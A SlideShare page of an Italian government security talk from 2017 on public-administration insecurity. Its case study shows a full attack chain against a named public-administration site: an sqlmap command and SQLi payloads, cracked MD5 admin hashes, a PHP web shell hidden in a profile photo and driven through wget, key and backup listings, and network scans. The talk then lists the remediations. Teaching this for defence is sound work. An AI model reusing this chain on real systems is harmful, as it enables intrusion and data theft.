SlideShare a Scribd company logo
1 of 41
Download to read offline
(in)Sicurezza

nella PA
Il Piano Triennale: verso il sistema operativo del paese 

Roma, 05/07/2017 

Gianluca Varisco
• La storia di uno dei tanti problemi di
sicurezza scoperti e segnalati
• Esempi pratici di vulnerabilità in applicativi
web
• Cosa ci riserva il futuro
—
Agenda
La storia di uno dei
tanti problemi di
sicurezza scoperti e
segnalati
SQLi (SQL injection)
È una tecnica di code injection molto comune con la quale vengono
inserite delle stringhe di codice SQL malevole all’interno dei campi
di input, es. form web
Due metodologie di difesa:
• Approccio blacklist: ho una lista di caratteri non permessi.
• Approccio whitelist: ho una lista di caratteri permessi.
SQLi (SQL injection)

Esempio di SQLi:

$username=$_POST[‘username'];
$password=$_POST['password'];
$query="select username,password from users where username='$username' and
password='$password' limit 1";
$result=mysql_query($query);
$rows = mysql_fetch_array($result);
if($rows)
{
echo “Log-in OK" ;
create_session();
}

…
SQLi (SQL injection)
Source: XKCD
Typo3 e raccolta informazioni
• Abbiamo identificato il CMS in utilizzo da questo sito web: Typo3
• Una sezione del sito consente di gestire i dati del proprio profilo e di caricare
alcune informazioni legate alla propria amministrazione (form web)
• Abbiamo letto la documentazione ufficiale, che riporta quanto segue:
SQLmap
sqlmap -u “https://www.ammcentrale.it/jupiter/fileadmin/form/selLoc.php.inc?
id=180" -v 2 -D jupiter —tables
Parameter: id (GET)

Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=180 AND 2280=2280
Vector: AND [INFERENCE]
Type: AND/OR time-based blind
Payload: id=180 AND (SELECT * FROM (SELECT(SLEEP(5)))ueEI)
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,
[SLEEPTIME])))))[RANDSTR])
SQLi
[16:46:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.12
[16:46:30] [INFO] fetching tables for database: 'jupiter'
[16:46:30] [DEBUG] performed 0 queries in 0.01 seconds
Database: jupiter
[86 tables]
+————————————————————+
| be_users |
| […] |
| fe_users |
| […] |
+————————————————————+
Hash cracking
SELECT * from be_users;


typoadmin,772bea9734a585d1a438ac2f7ee42b62,
admin00,772bea9734a585d1a438ac2f7ee42b62,
adminusr,772bea9734a585d1a438ac2f7ee42b62,


“Cracking” (via hashes.org API o interfaccia web):

{"REQUEST":"FOUND",“772bea9734a585d1a438ac2f7ee42b62" 

{“plain”:"iniziale","algorithm":"MD5"}}
Una volta ottenute le credenziali utente, accediamo alla
sezione “gestione profilo” e provvediamo a caricare la nostra
foto profilo. Tale foto, in realtà, contiene al suo interno del
codice malevole PHP, con cui potremo eseguire comandi
arbitrari sulla macchina target:

$ wget -nv https://www.ammcentrale.it/jupiter/filetest.php 

—post-data=“hello=id" -O - | tee -a log.txt
(Web) Shell access
Output (id):



Array
(
[0] => uid=48(apache) gid=48(apache) groups=48(apache)
)
(Web) Shell access
Output (uname -a):



Array
(
[0] => Linux web1 2.6.32-573.7.1.el6.x86_64 #1 SMP Tue
Sep 22 22:00:00 UTC 2015 x86_64 x86_64 x86_64 GNU/
Linux
)
Local Privilege Escalation
Output (ls):
Array
(
[1] => -rw-r--r-- 1 root root 9241849 Jul 23 2015 WebServices_preupgrade20150723.tgz
[2] => -rw-r--r-- 1 root root 68864 Jun 24 2014 jupiter-20140623.tar.gz
[3] => -rw-r--r-- 1 root root 5463 Jun 24 2014 jupiter-api-20140528.tar.gz
[4] => -rw-r--r--. 1 root root 58896845 Jun 18 2013 jupiter_0618_h12_net.tar.gz
[5] => -rw-r--r--. 1 root root 91788467 Jun 18 2013 jupiter_old_0613.tar.gz
[6] => -rw-r--r-- 1 root root 138718390 Jul 24 2015 jupiter_preupgrade20150724.tgz
[7] => -rw-r--r-- 1 apache apache 48765633 Jul 25 2015
jupiter_aziende_pre_prod20150725.tgz
[8] => -rw-r--r-- 1 root root 35513876 Jul 23 2015 jupiter_public_preupgrade20150723.tgz
[9] => -rw-r--r--. 1 root root 12035 Jun 18 2013 parametri.tar.gz
[10] => drwxr-xr-x. 8 root root 4096 Feb 11 17:37 www
)
Data Exfiltration
Array
(
[0] => total 64
[1] => drwxr-xr-x. 2 root root 4096 Jun 30 2015 .
[2] => drwxr-xr-x 7 root root 4096 Nov 24 10:32 ..
[3] => -rw-r--r-- 1 root root 1751 Apr 12 2014 jupiter2014.key
[4] => -rw-r--r-- 1 root root 1102 Apr 12 2014 jupiter2014req.csr
[5] => -rw-r--r-- 1 root root 1874 Jun 16 2015 jupiter2015.crt
[6] => -rw-r--r-- 1 root root 1704 Jun 25 2015 jupiter2015.key
[7] => -rw-r--r-- 1 root root 1151 Jun 8 2015 jupiter2015req.csr
[8] => -rw-r--r-- 1 root root 1704 Jun 8 2015 private.key
[9] => -rw-r--r--. 1 root root 1213 Jun 10 2013 verisign.crt
)
Data Exfiltration
Output (ifconfig):
Array
(
[0] => eth0 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:E4
[1] => inet addr:192.168.6.112 Bcast:192.168.6.255 Mask:255.255.255.0
[2] => [.....]
[..]
[9] => eth1 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:EE
[10] => inet addr:172.16.113.1 Bcast:172.16.113.255 Mask:255.255.255.0
[2] => [.....]
[...]
)
Lateral Movement
Output (arp scan):
Array
(
[0] => ? (192.168.6.115) at 00:50:56:8e:61:af [ether] on eth0
[1] => ? (192.168.6.1) at 00:1c:7f:3a:9c:0b [ether] on eth0
[2] => ? (192.168.6.2) at 00:1c:7f:3a:9c:0b [ether] on eth0
[3] => ? (172.16.113.2) at 00:0c:29:27:90:ba [ether] on eth1
[4] => ? (192.168.6.140) at 00:23:e9:7d:87:c5 [ether] on eth0
[5] => ? (192.168.6.83) at 00:50:56:8e:61:af [ether] on eth0
[6] => ? (192.168.6.3) at 00:1c:7f:3a:a2:73 [ether] on eth0
[….]
)
Lateral Movement
Output (nmap):
Array
(
[0] =>
[1] => Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2017-04-01
15:33 CEST
[2] => Initiating Ping Scan at 15:33
[3] => Scanning XXX hosts [2 ports/host]
Lateral Movement
• Vulnerabilità (SQLi) nell’applicazione web
• Utilizzo di MD5 come funzione di hash crittografica
• Utilizzo di password deboli
• Sistema contenente informazioni sensibili al suo interno
(es. backup e chiavi private SSH, anche di altre macchine)
• Assenza di segmentazione della rete
• Mancato aggiornamento dei sistemi (no patch di sicurezza)
e versioni CMS presenti all’interno della rete obsolete
Cosa è andato storto?
• Sanitizzazione input
• Utilizzo di funzioni di hash più sicure: bcrypt/scrypt
• Utilizzo di salt (previene attacchi bruteforce tramite rainbow tables)
• Password policy adeguate (NIST Special Publication 800-63B - Digital
Identity Guidelines), 2-Factor Authentication
• Cifratura backup locali e off-site backup
• Logging/Auditing eventi
• Aggiornamenti costanti CMS
• Segmentazione adeguata della rete che riduca al minimo il
movimento laterale su altri sistemi
Cosa avrebbero dovuto fare?
Altre situazioni
comuni
Ancora oggi, ci troviamo ad avere migliaia di sistemi esposti su
internet vulnerabili a CVE-2014-0160
Heartbleed
Source: Shodan
Session hijacking:
Heartbleed
• Versioni non aggiornate
• Plug-in non aggiornati
• Fork artigianali (™) non
aggiornati
• PoC ed exploit (+ metasploit
scanner[s]) facilmente
reperibili
CMS
Password leak
Password leak
Source: WpEngine Unmasked
Password policy troppo rigida?
Source: WpEngine Unmasked
• Moltissimi, anche tra voi in questa stanza, si affidano sempre
alle stesse password. Le usano ovunque.
• Utilizzate password manager (1Password, Lastpass,
Keepass, etc.)
• Utilizzate password univoche per ogni servizio
• Abilitate autenticazione a due fattori (2FA) ove disponibile
• Mancata rotazione delle password negli applicativi web
• Salvataggio delle password all’interno dei database in chiaro o
con algoritmi di hash insicuri (MD5, SHA-1 unsalted, etc.)
Problemi legati ai leak di pw
• Tanti dei nostri dati vengono periodicamente esposti in maniera
scorretta su internet.
• Database NoSQL senza livelli di autenticazione
• Backend amministrativi vulnerabili (es. SQLi) o misconfigurati
(&& no HTTPS…)
• Backend amministrativi PRIVI di autenticazione (o “factory
credentials”)
• Ambienti di storage (eg. NAS) vulnerabili e non aggiornati
• Volumi (Object-Storage) misconfigurati (ACL) all’interno di
ambienti cloud pubblici e privati
Data leakage
Il futuro (?)
Vettori di attacco:
• Malware / Ransomware
• Vulnerabilità su dispositivi
IoT
• Vulnerabilità su ICS/Scada
• Targeted Spear Phishing
Il futuro (?)
Settori maggiormente colpiti:

• Sanità
• Automotive
• Impianti Industriali
• Infrastrutture critiche
Ransomware (e Wiper)
IoT
The “S” 

in “IoT”
stands for
Security
ICS/Scada
• Sistemi di controllo industriali spesso:
• esposti su internet per facilitarne l’accesso da remoto (es. per ricevere
assistenza tecnica)
• privi di qualsiasi livello di autenticazione e non sviluppati per stare su
internet
• Nota: non tutti parlano TCP/IP e possono seguire le regole tradizionali
Automotive
Piano Triennale
• Capitolo 8: Sicurezza
• Misure minime di
sicurezza ICT
• Infosharing CERT-PA
Piano Triennale
• A1 - Injection
• A2 - Broken Authentication and Session
Management
• A3 - Cross-Site Scripting (XSS)
• A4 - Broken Access Control
• A5 - Security Misconfiguration
• A6 - Sensitive Data Exposure
• A7 - Insufficient Attack Protection
• A8 - Cross-Site Request Forgery (CSRF)
• A9 - Using Components with Known
Vulnerabilities
• A10 - Underprotected APIs
—
OWASP TOP 10

2017 (RC1)
Gianluca Varisco
• Email: gianluca@teamdigitale.governo.it
• Twitter: @gvarisco
• Medium: @gvarisco

Sito Web: https://teamdigitale.governo.it
—
Contatti
• Pawel Zorzan Urban
• Shodan.IO
• Censys.IO
Credits

More Related Content

Similar to (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

festival ICT 2013: Sicurezza delle applicazioni web
festival ICT 2013: Sicurezza delle applicazioni webfestival ICT 2013: Sicurezza delle applicazioni web
festival ICT 2013: Sicurezza delle applicazioni web
festival ICT 2016
 
Del furia signalr-to-the-max
Del furia   signalr-to-the-maxDel furia   signalr-to-the-max
Del furia signalr-to-the-max
DotNetCampus
 
Signal r to the-max
Signal r to the-maxSignal r to the-max
Signal r to the-max
DotNetCampus
 
BackBox Linux: Simulazione di un Penetration Test
BackBox Linux: Simulazione di un Penetration TestBackBox Linux: Simulazione di un Penetration Test
BackBox Linux: Simulazione di un Penetration Test
Andrea Draghetti
 

Similar to (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale (20)

festival ICT 2013: Sicurezza delle applicazioni web
festival ICT 2013: Sicurezza delle applicazioni webfestival ICT 2013: Sicurezza delle applicazioni web
festival ICT 2013: Sicurezza delle applicazioni web
 
CCI2017 - Security Best Practices e novità in Windows Server 2016 - Ermanno G...
CCI2017 - Security Best Practices e novità in Windows Server 2016 - Ermanno G...CCI2017 - Security Best Practices e novità in Windows Server 2016 - Ermanno G...
CCI2017 - Security Best Practices e novità in Windows Server 2016 - Ermanno G...
 
L'impatto dei Servizi Applicativi
L'impatto dei Servizi ApplicativiL'impatto dei Servizi Applicativi
L'impatto dei Servizi Applicativi
 
SplunkLive! Milan 2015 - UNIBO
SplunkLive! Milan 2015 - UNIBOSplunkLive! Milan 2015 - UNIBO
SplunkLive! Milan 2015 - UNIBO
 
SaaS con Symfony2 un caso *molto* concreto di applicazione multitenant
SaaS con Symfony2 un caso *molto* concreto di applicazione multitenantSaaS con Symfony2 un caso *molto* concreto di applicazione multitenant
SaaS con Symfony2 un caso *molto* concreto di applicazione multitenant
 
Linux Day 2018 Roma - Web Application Penetration Test (WAPT) con Linux
Linux Day 2018 Roma - Web Application Penetration Test (WAPT) con LinuxLinux Day 2018 Roma - Web Application Penetration Test (WAPT) con Linux
Linux Day 2018 Roma - Web Application Penetration Test (WAPT) con Linux
 
Mfa.intro
Mfa.introMfa.intro
Mfa.intro
 
Del furia signalr-to-the-max
Del furia   signalr-to-the-maxDel furia   signalr-to-the-max
Del furia signalr-to-the-max
 
SIGNALR TO-THE-MAX: VERSO IL WEB ED OLTRE!
SIGNALR TO-THE-MAX: VERSO IL WEB ED OLTRE!SIGNALR TO-THE-MAX: VERSO IL WEB ED OLTRE!
SIGNALR TO-THE-MAX: VERSO IL WEB ED OLTRE!
 
Signal r to the-max
Signal r to the-maxSignal r to the-max
Signal r to the-max
 
BackBox Linux: Simulazione di un Penetration Test e CTF
BackBox Linux: Simulazione di un Penetration Test e CTFBackBox Linux: Simulazione di un Penetration Test e CTF
BackBox Linux: Simulazione di un Penetration Test e CTF
 
BackBox Linux: Simulazione di un Penetration Test
BackBox Linux: Simulazione di un Penetration TestBackBox Linux: Simulazione di un Penetration Test
BackBox Linux: Simulazione di un Penetration Test
 
XSecure - Direttiva Del Garante - Amministratori Di Sistema
XSecure - Direttiva Del Garante - Amministratori Di SistemaXSecure - Direttiva Del Garante - Amministratori Di Sistema
XSecure - Direttiva Del Garante - Amministratori Di Sistema
 
Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015
Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015
Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015
 
SaaS con Symfony2
SaaS con Symfony2SaaS con Symfony2
SaaS con Symfony2
 
Rootkit: teoria e pratica. Michele BOLOGNA
Rootkit: teoria e pratica. Michele BOLOGNARootkit: teoria e pratica. Michele BOLOGNA
Rootkit: teoria e pratica. Michele BOLOGNA
 
Checkmate to crypto malware. Scacco matto ai crypto malware
Checkmate to crypto malware. Scacco matto ai crypto malwareCheckmate to crypto malware. Scacco matto ai crypto malware
Checkmate to crypto malware. Scacco matto ai crypto malware
 
Virtually Pwned: Hacking VMware [ITA - SMAU10]
Virtually Pwned: Hacking VMware [ITA - SMAU10]Virtually Pwned: Hacking VMware [ITA - SMAU10]
Virtually Pwned: Hacking VMware [ITA - SMAU10]
 
Owasp parte3
Owasp parte3Owasp parte3
Owasp parte3
 
SQL Server Benchmarking, Baselining and Workload Analysis
SQL Server Benchmarking, Baselining and Workload AnalysisSQL Server Benchmarking, Baselining and Workload Analysis
SQL Server Benchmarking, Baselining and Workload Analysis
 

More from Team per la Trasformazione Digitale

More from Team per la Trasformazione Digitale (20)

Developers Italia and the New Guidelines: Let the Open Source Revolution Start!
Developers Italia and the New Guidelines: Let the Open Source Revolution Start!Developers Italia and the New Guidelines: Let the Open Source Revolution Start!
Developers Italia and the New Guidelines: Let the Open Source Revolution Start!
 
I siti dei comuni italiani - Designers Italia
I siti dei comuni italiani - Designers ItaliaI siti dei comuni italiani - Designers Italia
I siti dei comuni italiani - Designers Italia
 
Verso una Repubblica Digitale
Verso una Repubblica DigitaleVerso una Repubblica Digitale
Verso una Repubblica Digitale
 
I fondi per la trasformazione digitale e le azioni verso lo switch off dei se...
I fondi per la trasformazione digitale e le azioni verso lo switch off dei se...I fondi per la trasformazione digitale e le azioni verso lo switch off dei se...
I fondi per la trasformazione digitale e le azioni verso lo switch off dei se...
 
Cresce la diffusione di Spid: gli strumenti e le linee guida per l’integrazio...
Cresce la diffusione di Spid: gli strumenti e le linee guida per l’integrazio...Cresce la diffusione di Spid: gli strumenti e le linee guida per l’integrazio...
Cresce la diffusione di Spid: gli strumenti e le linee guida per l’integrazio...
 
La nuova CIE come piattaforma abilitante per servizi digitali e nel mondo fis...
La nuova CIE come piattaforma abilitante per servizi digitali e nel mondo fis...La nuova CIE come piattaforma abilitante per servizi digitali e nel mondo fis...
La nuova CIE come piattaforma abilitante per servizi digitali e nel mondo fis...
 
La ripartenza di ANPR e il patto tra fornitori dei Comuni, Team Digitale e So...
La ripartenza di ANPR e il patto tra fornitori dei Comuni, Team Digitale e So...La ripartenza di ANPR e il patto tra fornitori dei Comuni, Team Digitale e So...
La ripartenza di ANPR e il patto tra fornitori dei Comuni, Team Digitale e So...
 
L’opportunità di integrare pagoPA: la digitalizzazione dei processi attravers...
L’opportunità di integrare pagoPA: la digitalizzazione dei processi attravers...L’opportunità di integrare pagoPA: la digitalizzazione dei processi attravers...
L’opportunità di integrare pagoPA: la digitalizzazione dei processi attravers...
 
Il progetto IO come opportunità per i partner tecnologici di tutti gli enti p...
Il progetto IO come opportunità per i partner tecnologici di tutti gli enti p...Il progetto IO come opportunità per i partner tecnologici di tutti gli enti p...
Il progetto IO come opportunità per i partner tecnologici di tutti gli enti p...
 
Responsible disclosure. La sicurezza è responsabilità di tutti
Responsible disclosure. La sicurezza è responsabilità di tuttiResponsible disclosure. La sicurezza è responsabilità di tutti
Responsible disclosure. La sicurezza è responsabilità di tutti
 
Uno sguardo sul piano di abilitazione all’utilizzo delle tecnologie cloud, ne...
Uno sguardo sul piano di abilitazione all’utilizzo delle tecnologie cloud, ne...Uno sguardo sul piano di abilitazione all’utilizzo delle tecnologie cloud, ne...
Uno sguardo sul piano di abilitazione all’utilizzo delle tecnologie cloud, ne...
 
Con le linee guida sull’acquisizione e il riuso del software nella PA il merc...
Con le linee guida sull’acquisizione e il riuso del software nella PA il merc...Con le linee guida sull’acquisizione e il riuso del software nella PA il merc...
Con le linee guida sull’acquisizione e il riuso del software nella PA il merc...
 
Un design system allineato alle best practice internazionali, aperto ai contr...
Un design system allineato alle best practice internazionali, aperto ai contr...Un design system allineato alle best practice internazionali, aperto ai contr...
Un design system allineato alle best practice internazionali, aperto ai contr...
 
Le community di Designers Italia e Developers Italia: strumenti collaborativi...
Le community di Designers Italia e Developers Italia: strumenti collaborativi...Le community di Designers Italia e Developers Italia: strumenti collaborativi...
Le community di Designers Italia e Developers Italia: strumenti collaborativi...
 
Il ruolo della privacy nella trasformazione digitale: ostacolo o opportunità?...
Il ruolo della privacy nella trasformazione digitale: ostacolo o opportunità?...Il ruolo della privacy nella trasformazione digitale: ostacolo o opportunità?...
Il ruolo della privacy nella trasformazione digitale: ostacolo o opportunità?...
 
Un’opportunità per il mercato dei pagamenti. Come cambia lo scenario dei paga...
Un’opportunità per il mercato dei pagamenti. Come cambia lo scenario dei paga...Un’opportunità per il mercato dei pagamenti. Come cambia lo scenario dei paga...
Un’opportunità per il mercato dei pagamenti. Come cambia lo scenario dei paga...
 
Un asse per l’innovazione: il protocollo d’intesa tra il Team Digitale e la C...
Un asse per l’innovazione: il protocollo d’intesa tra il Team Digitale e la C...Un asse per l’innovazione: il protocollo d’intesa tra il Team Digitale e la C...
Un asse per l’innovazione: il protocollo d’intesa tra il Team Digitale e la C...
 
Dal Piano Triennale al White Paper
Dal Piano Triennale al White PaperDal Piano Triennale al White Paper
Dal Piano Triennale al White Paper
 
Il ruolo dei partner tecnologici nel processo di trasformazione dei servizi p...
Il ruolo dei partner tecnologici nel processo di trasformazione dei servizi p...Il ruolo dei partner tecnologici nel processo di trasformazione dei servizi p...
Il ruolo dei partner tecnologici nel processo di trasformazione dei servizi p...
 
Interoperability rules for an European API ecosystem: do we still need SOAP?
Interoperability rules for an European API ecosystem: do we still need SOAP?Interoperability rules for an European API ecosystem: do we still need SOAP?
Interoperability rules for an European API ecosystem: do we still need SOAP?
 

(in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

  • 1. (in)Sicurezza
 nella PA Il Piano Triennale: verso il sistema operativo del paese 
 Roma, 05/07/2017 
 Gianluca Varisco
  • 2. • La storia di uno dei tanti problemi di sicurezza scoperti e segnalati • Esempi pratici di vulnerabilità in applicativi web • Cosa ci riserva il futuro — Agenda
  • 3. La storia di uno dei tanti problemi di sicurezza scoperti e segnalati
  • 4. SQLi (SQL injection) È una tecnica di code injection molto comune con la quale vengono inserite delle stringhe di codice SQL malevole all’interno dei campi di input, es. form web Due metodologie di difesa: • Approccio blacklist: ho una lista di caratteri non permessi. • Approccio whitelist: ho una lista di caratteri permessi.
  • 5. SQLi (SQL injection)
 Esempio di SQLi:
 $username=$_POST[‘username']; $password=$_POST['password']; $query="select username,password from users where username='$username' and password='$password' limit 1"; $result=mysql_query($query); $rows = mysql_fetch_array($result); if($rows) { echo “Log-in OK" ; create_session(); }
 …
  • 7. Typo3 e raccolta informazioni • Abbiamo identificato il CMS in utilizzo da questo sito web: Typo3 • Una sezione del sito consente di gestire i dati del proprio profilo e di caricare alcune informazioni legate alla propria amministrazione (form web) • Abbiamo letto la documentazione ufficiale, che riporta quanto segue:
  • 8. SQLmap sqlmap -u “https://www.ammcentrale.it/jupiter/fileadmin/form/selLoc.php.inc? id=180" -v 2 -D jupiter —tables Parameter: id (GET)
 Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=180 AND 2280=2280 Vector: AND [INFERENCE] Type: AND/OR time-based blind Payload: id=180 AND (SELECT * FROM (SELECT(SLEEP(5)))ueEI) Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0, [SLEEPTIME])))))[RANDSTR])
  • 9. SQLi [16:46:30] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 6.5 web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0.12 [16:46:30] [INFO] fetching tables for database: 'jupiter' [16:46:30] [DEBUG] performed 0 queries in 0.01 seconds Database: jupiter [86 tables] +————————————————————+ | be_users | | […] | | fe_users | | […] | +————————————————————+
  • 10. Hash cracking SELECT * from be_users; 
 typoadmin,772bea9734a585d1a438ac2f7ee42b62, admin00,772bea9734a585d1a438ac2f7ee42b62, adminusr,772bea9734a585d1a438ac2f7ee42b62, 
 “Cracking” (via hashes.org API o interfaccia web):
 {"REQUEST":"FOUND",“772bea9734a585d1a438ac2f7ee42b62" 
 {“plain”:"iniziale","algorithm":"MD5"}}
  • 11. Una volta ottenute le credenziali utente, accediamo alla sezione “gestione profilo” e provvediamo a caricare la nostra foto profilo. Tale foto, in realtà, contiene al suo interno del codice malevole PHP, con cui potremo eseguire comandi arbitrari sulla macchina target:
 $ wget -nv https://www.ammcentrale.it/jupiter/filetest.php 
 —post-data=“hello=id" -O - | tee -a log.txt (Web) Shell access
  • 12. Output (id):
 
 Array ( [0] => uid=48(apache) gid=48(apache) groups=48(apache) ) (Web) Shell access
  • 13. Output (uname -a):
 
 Array ( [0] => Linux web1 2.6.32-573.7.1.el6.x86_64 #1 SMP Tue Sep 22 22:00:00 UTC 2015 x86_64 x86_64 x86_64 GNU/ Linux ) Local Privilege Escalation
  • 14. Output (ls): Array ( [1] => -rw-r--r-- 1 root root 9241849 Jul 23 2015 WebServices_preupgrade20150723.tgz [2] => -rw-r--r-- 1 root root 68864 Jun 24 2014 jupiter-20140623.tar.gz [3] => -rw-r--r-- 1 root root 5463 Jun 24 2014 jupiter-api-20140528.tar.gz [4] => -rw-r--r--. 1 root root 58896845 Jun 18 2013 jupiter_0618_h12_net.tar.gz [5] => -rw-r--r--. 1 root root 91788467 Jun 18 2013 jupiter_old_0613.tar.gz [6] => -rw-r--r-- 1 root root 138718390 Jul 24 2015 jupiter_preupgrade20150724.tgz [7] => -rw-r--r-- 1 apache apache 48765633 Jul 25 2015 jupiter_aziende_pre_prod20150725.tgz [8] => -rw-r--r-- 1 root root 35513876 Jul 23 2015 jupiter_public_preupgrade20150723.tgz [9] => -rw-r--r--. 1 root root 12035 Jun 18 2013 parametri.tar.gz [10] => drwxr-xr-x. 8 root root 4096 Feb 11 17:37 www ) Data Exfiltration
  • 15. Array ( [0] => total 64 [1] => drwxr-xr-x. 2 root root 4096 Jun 30 2015 . [2] => drwxr-xr-x 7 root root 4096 Nov 24 10:32 .. [3] => -rw-r--r-- 1 root root 1751 Apr 12 2014 jupiter2014.key [4] => -rw-r--r-- 1 root root 1102 Apr 12 2014 jupiter2014req.csr [5] => -rw-r--r-- 1 root root 1874 Jun 16 2015 jupiter2015.crt [6] => -rw-r--r-- 1 root root 1704 Jun 25 2015 jupiter2015.key [7] => -rw-r--r-- 1 root root 1151 Jun 8 2015 jupiter2015req.csr [8] => -rw-r--r-- 1 root root 1704 Jun 8 2015 private.key [9] => -rw-r--r--. 1 root root 1213 Jun 10 2013 verisign.crt ) Data Exfiltration
  • 16. Output (ifconfig): Array ( [0] => eth0 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:E4 [1] => inet addr:192.168.6.112 Bcast:192.168.6.255 Mask:255.255.255.0 [2] => [.....] [..] [9] => eth1 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:EE [10] => inet addr:172.16.113.1 Bcast:172.16.113.255 Mask:255.255.255.0 [2] => [.....] [...] ) Lateral Movement
  • 17. Output (arp scan): Array ( [0] => ? (192.168.6.115) at 00:50:56:8e:61:af [ether] on eth0 [1] => ? (192.168.6.1) at 00:1c:7f:3a:9c:0b [ether] on eth0 [2] => ? (192.168.6.2) at 00:1c:7f:3a:9c:0b [ether] on eth0 [3] => ? (172.16.113.2) at 00:0c:29:27:90:ba [ether] on eth1 [4] => ? (192.168.6.140) at 00:23:e9:7d:87:c5 [ether] on eth0 [5] => ? (192.168.6.83) at 00:50:56:8e:61:af [ether] on eth0 [6] => ? (192.168.6.3) at 00:1c:7f:3a:a2:73 [ether] on eth0 [….] ) Lateral Movement
  • 18. Output (nmap): Array ( [0] => [1] => Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2017-04-01 15:33 CEST [2] => Initiating Ping Scan at 15:33 [3] => Scanning XXX hosts [2 ports/host] Lateral Movement
  • 19. • Vulnerabilità (SQLi) nell’applicazione web • Utilizzo di MD5 come funzione di hash crittografica • Utilizzo di password deboli • Sistema contenente informazioni sensibili al suo interno (es. backup e chiavi private SSH, anche di altre macchine) • Assenza di segmentazione della rete • Mancato aggiornamento dei sistemi (no patch di sicurezza) e versioni CMS presenti all’interno della rete obsolete Cosa è andato storto?
  • 20. • Sanitizzazione input • Utilizzo di funzioni di hash più sicure: bcrypt/scrypt • Utilizzo di salt (previene attacchi bruteforce tramite rainbow tables) • Password policy adeguate (NIST Special Publication 800-63B - Digital Identity Guidelines), 2-Factor Authentication • Cifratura backup locali e off-site backup • Logging/Auditing eventi • Aggiornamenti costanti CMS • Segmentazione adeguata della rete che riduca al minimo il movimento laterale su altri sistemi Cosa avrebbero dovuto fare?
  • 22. Ancora oggi, ci troviamo ad avere migliaia di sistemi esposti su internet vulnerabili a CVE-2014-0160 Heartbleed Source: Shodan
  • 24. • Versioni non aggiornate • Plug-in non aggiornati • Fork artigianali (™) non aggiornati • PoC ed exploit (+ metasploit scanner[s]) facilmente reperibili CMS
  • 27. Password policy troppo rigida? Source: WpEngine Unmasked
  • 28. • Moltissimi, anche tra voi in questa stanza, si affidano sempre alle stesse password. Le usano ovunque. • Utilizzate password manager (1Password, Lastpass, Keepass, etc.) • Utilizzate password univoche per ogni servizio • Abilitate autenticazione a due fattori (2FA) ove disponibile • Mancata rotazione delle password negli applicativi web • Salvataggio delle password all’interno dei database in chiaro o con algoritmi di hash insicuri (MD5, SHA-1 unsalted, etc.) Problemi legati ai leak di pw
  • 29. • Tanti dei nostri dati vengono periodicamente esposti in maniera scorretta su internet. • Database NoSQL senza livelli di autenticazione • Backend amministrativi vulnerabili (es. SQLi) o misconfigurati (&& no HTTPS…) • Backend amministrativi PRIVI di autenticazione (o “factory credentials”) • Ambienti di storage (eg. NAS) vulnerabili e non aggiornati • Volumi (Object-Storage) misconfigurati (ACL) all’interno di ambienti cloud pubblici e privati Data leakage
  • 31. Vettori di attacco: • Malware / Ransomware • Vulnerabilità su dispositivi IoT • Vulnerabilità su ICS/Scada • Targeted Spear Phishing Il futuro (?) Settori maggiormente colpiti:
 • Sanità • Automotive • Impianti Industriali • Infrastrutture critiche
  • 33. IoT The “S” 
 in “IoT” stands for Security
  • 34. ICS/Scada • Sistemi di controllo industriali spesso: • esposti su internet per facilitarne l’accesso da remoto (es. per ricevere assistenza tecnica) • privi di qualsiasi livello di autenticazione e non sviluppati per stare su internet • Nota: non tutti parlano TCP/IP e possono seguire le regole tradizionali
  • 37. • Capitolo 8: Sicurezza • Misure minime di sicurezza ICT • Infosharing CERT-PA Piano Triennale
  • 38. • A1 - Injection • A2 - Broken Authentication and Session Management • A3 - Cross-Site Scripting (XSS) • A4 - Broken Access Control • A5 - Security Misconfiguration • A6 - Sensitive Data Exposure • A7 - Insufficient Attack Protection • A8 - Cross-Site Request Forgery (CSRF) • A9 - Using Components with Known Vulnerabilities • A10 - Underprotected APIs — OWASP TOP 10
 2017 (RC1)
  • 39. Gianluca Varisco • Email: gianluca@teamdigitale.governo.it • Twitter: @gvarisco • Medium: @gvarisco
 Sito Web: https://teamdigitale.governo.it — Contatti
  • 40.
  • 41. • Pawel Zorzan Urban • Shodan.IO • Censys.IO Credits